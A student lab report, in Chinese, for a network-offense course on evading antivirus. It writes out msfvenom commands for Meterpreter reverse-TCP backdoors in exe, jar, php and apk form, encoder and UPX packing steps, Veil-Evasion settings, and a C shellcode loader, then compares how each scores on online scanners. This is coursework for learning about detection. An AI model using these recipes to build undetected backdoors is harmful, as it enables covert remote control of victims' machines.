2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践
2019-2020-2 20175227张雪莹《网络对抗技术》
Exp3 免杀原理与实践
目录
-
0. 基础知识
-
1. 实验内容
-
2. 老师提问
- 2.1 杀软是如何检测出恶意代码的?
- 2.2 免杀是做什么?
- 2.3 免杀的基本方法有哪些?
- 2.4 开启杀软能绝对防止电脑中恶意代码吗?
-
3. 所遇到的问题及其解决方法
- 3.1 问题1
- 3.2 问题2
- 3.3 问题3
-
4. 实验感想
-
5. 参考资料
0. 基础知识
0.1 免杀
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
0.2 恶意软件检测机制
-
基于特征码的检测
- 重要的就是,恶意软件的检测,并不是比对整个文件,
- 而只能只其中一个或几个片断作为识别依据。
- 这就是最简单的特征码,或“signature”。
-
启发式恶意软件检测
- 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
可以检测0-day恶意软件
具有一定通用性
缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高 -
基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.3 免杀技术(Evading AV)综述
- 改变特征码
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
1. 实验内容
1.1 方法
1.1.1 正确使用msf编码器
- 关于网站VirSCAN和Virus Total
- 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
- 在kali终端中,输入
msfvenom
查看该命令的参数详情,选用msfvenom -l encoders
查看编码器情况。
- 将实验2生成的后门程序
zxy_20175227_backdoor.exe
分别上传至两个网站进行筛查,结果如下:
-
可以看出,未经过编码的后门程序很容易就给杀软监测到了。
-
下面用msf编码器对后门程序进行编码,并重新上传两个网站进行筛查:
- 在kali中进入
/usr/share/metasploit-framework/modules/payloads/stagers/windows
文件夹,用ls
查看Windows平台下的连接方式
- 在kali中进入
- 进入
/usr/share/metasploit-framework/modules/encoders/x86
文件夹,用ls
查看x86的编码方式 - 这里我们选用TCP连接方式和
shikata_ga_nai
编码方式 - 输入命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=<ip_of _linux> LPORT=5227 -f exe > zxyexptriBD.exe
-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数
- 分别在两个网站中扫描,结果如下:
- 由此可见,多次编码对于免杀没啥效果
- 有编码就有解码在exe文件中,杀软根据这部分就可以监测到异常情况
- 如果使用默认参数或模板,也有一定的固定特征。
1.1.2 msfvenom生成如jar之类的其他文件
- 生成Java后门程序
- 在Kali中,使用
msfvenom -p java/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor_java.jar
,生成jar文件,上传至两个平台扫描,结果如下:
- 在Kali中,使用
- 可以看出,虽然都还是危险,但是检测成功几率有所下降。
- 生成PHP后门程序
- 使用
msfvenom -p php/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.php
,生成php文件,上传至两个平台扫描,结果如下:
- 使用
竟然!两个平台检测率都超低,甚至建议我谨慎使用!
- 生成Android后门程序
- 在Kali中,使用
msfvenom -p android/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.apk
,生成apk文件(安装包形式),上传至两个平台扫描,结果如下:
- 在Kali中,使用
其中VirScan的扫描结果由“危险”转为“警告”了,检测成功几率没有jar文件高。
1.1.3 veil
- 安装过程,我是参考学姐的博文,在此不再赘述。
- 安装成功的截图如下:
- 输入
use evasion
进入Veil-Evasion - 输入
use c/meterpreter/rev_tcp.py
进入配置界面 - 设置反弹连接IP,应当输入
ip_of_linux
:set LHOST 192.168.160.131
- 设置端口:
set LPORT 5227
- 输入
generate
生成后门程序文件,而后输入其名字,我这里是:veilzxy
- 生成成功截图如下:
- 根据它的提示,进入
/var/lib/veil/output/compiled/
中即可找到所生成的后门程序:veilzxy.exe
- 把它复制到主机,可见杀软报警:
- 上传至两个平台进行扫描,结果如下:
之前看到学长学姐的还算挺成功的,现在的检出率虽然不高但没有php文件低,魔高一尺道高一丈。
1.1.4 加壳工具
- 压缩壳
- 对
zxy175227.exe
加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
- 测试可用性
- 对
- 将
zxy175227.upxed.exe
复制到主机,被杀软监测到,如下图:
- 将该文件信任后,上传至两个平台进行扫描,结果如下:
其中有一个网站检出率由危险转警告了。
- 对veil生成的后门
veilzxy.exe
加壳,拷贝到主机(我的杀软没有检测到威胁诶),上传到两个平台检测,结果如下:
- 也还行吧,检出率不高,但还是危险。
1.1.5 使用C + shellcode编程
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=5227 -f c
生成C语言下的shellcode数组,如下图:
- 创建
zxy175227.c
,代码内容如下:
unsigned char buf[] =
"shellcode数组内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用
i686-w64-mingw32-g++ zxy175227.c -o zxy175227.exe
对c文件进行交叉编译,得到可以在Windows环境下的可执行程序zxy175227.exe
- 测试可用性
- 将其复制到主机,杀软将其查杀,如下图:
- 更改杀软设置,成功复制该文件后,上传至两个平台扫描,结果如下图:
- 扫描结果的检出率仍然很高,但不算是所有扫描中最高的。
1.1.6 使用其他课堂未介绍方法
- 这里用一个Veil-Evasion的其他荷载生成后门方式
- 启动veil,进入evasion,输入
list
查看可用的有效荷载,如下:
- 启动veil,进入evasion,输入
- 此时我选择了第29个荷载,是Python下shellcode在AES下加密一种。
- 输入
option
,查看有效荷载的选项,如下:
-
从上面可以清楚看到29号payload有很多选项,在这个界面,我们可以对该 payload 进行一些基本的配置。
例如:编译后生成文件的格式有效期,并是否进行加密做出配置。
-
我这里只配置了用户名,然后就
generate
生成了.- 之后它会提示你输入想要选择的shellcode平台,选择
2
msfvenom,一会儿我们用msfconsole
进行反弹连接. - 输入
靶机OS/平台/连接方式
,默认的,回车就行 - 输入metasploit荷载,同上
- 输入反弹连接IP(ip_of_linux)和端口号
- 其他msfvenom选项默认,回车就行
- 之后它会提示你输入想要选择的shellcode平台,选择
- 输入创建的shellocode的名字,这里是
zxyaespy
- 生成的文件类型选择
2
,生成一个exe文件
- 可以看见exe文件已经生成,是
setup.py
和runme.bat
,在/var/lib/veil/output/source/
中 - 同时新生成的 shellcode 的 rc 文件也被保存在了 veil-output 下的 handlers,打开查看后,是在msfconsole中需要输的指令,如图:
- 测试可用性
- 复制到主机的时候,杀软没有监测到,上传至两个平台扫描,结果如下:
两个文件在两个网站扫描都通过了,惊了
1.2 通过组合应用各种技术实现恶意代码免杀
- 采用
C语言调用bloxor编码的shellcode+加壳
方式免杀 - 杀软:火绒安全5.0.40.7
- 系统:win10
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.160.131 LPORT=5227 -f c
生成shellcode数组, - 把它复制到主机用codeblocks编译得到exe文件
- 在Linux中用
upx zxy_bloxor.exe -o zxy_bloxor_upxed.exe
对上一步得到的exe进行加壳,得到的zxy_bloxor_upxed.exe
复制到主机,还是被杀软检测到了.
- 使用
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 免杀方法:
C语言调用bloxor编码的shellcode+加壳
- 免杀环境:用父亲的笔记本,系统是Windows7,杀软是360卫士11.0.0.2001
- 免杀失败
- 反弹连接
2. 老师提问
2.1 杀软是如何检测出恶意代码的?
- 回答:根据特征码,或者是一些特征的片段,监控某个进程的行为,一旦发现和已记录的病毒特征相符合就杀掉,或者一旦有一些非法行为如获取shell就杀掉。
2.2 免杀是做什么?
- 回答:对恶意软件做一些处理,使得恶意软件得特征淡化,从而不被杀软监测到。
2.3 免杀的基本方法有哪些?
- 回答:
- 改变特征码:加壳,用encoder进行编码,重新编译生成可执行文件,与其他可执行文件捆绑。
- 改变行为:反弹连接,使用隧道技术,加密通讯,加入混淆功能的正常功能代码。
2.4 开启杀软能绝对防止电脑中恶意代码吗?
- 回答:答案肯定是否定的。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。
3. 所遇到的问题及其解决方法
3.1 问题1
-
描述:安装veil的时候出现
错误:10 http://http.kali.org/kali kali-rolling/main amd64 libmono-system-configuration4.0-cil all 6.8.0.105+dfsg-2
提示,导致安装失败 -
解决方法:之前遇到过类似问题,一直觉得是镜像源有问题,在网上搜索到较全的源信息,更新了一下
sources.list
,然后重新安装veil后成功。
3.2 问题2
- 描述:安装veil失败,提示没有检测到Wine环境,根据同学在云班课的提示进行重装后,执行veil生成后门的操作没有输出文件,如图:
- 解决办法:一开始以为veil找不到wine的路径,添加了wine32的环境变量,但是不行。而后在网上看到一位网友提示,Wine Gecko下载之后需要安装,而我只进行了wget下载。所以将两个Gecko文件移到有wine文件的目录下(这里是
/usr/lib/wine
),然后分别输入命令
wine msiexec /i wine-mono-4.9.4.msi
wine msiexec /i wine_gecko-2.47-x86_64.msi
- 之后正常进行veil生成后门的操作即可(如果操作仍然被拒绝,可以用
sudo -s
进入root权限使用veil)。
Tips:输入这两个命令时,它会提示你找不到注册表密钥
错误,此时忽略它就行。
4. 实验感想
- 在这次实验中,安装veil的过程显得尤为艰辛,从老师第一次讲课开始一直试到昨天,一个多星期,醉了……下载的过程很慢,安装的过程也很慢,安装好了使用时提示出错,网上资料也很少,全靠对有效信息的个人解读+碰运气实践。但是在这一过程中,我对wine环境的配置过程,所依赖的其他部件有了一个认识,知道了他是使Linux兼容Windows下软件的环境,还挺有收获的。通过对免杀的学习,自己突然有了一点点成就感,自己可以像黑客一样骗过杀软;但另一方面,还是和上一次实验的体会一样,对后门还是有了惧怕之心,导致自己天天拿着手机都怀疑地球那边有个人通过我的手机前置偷看我……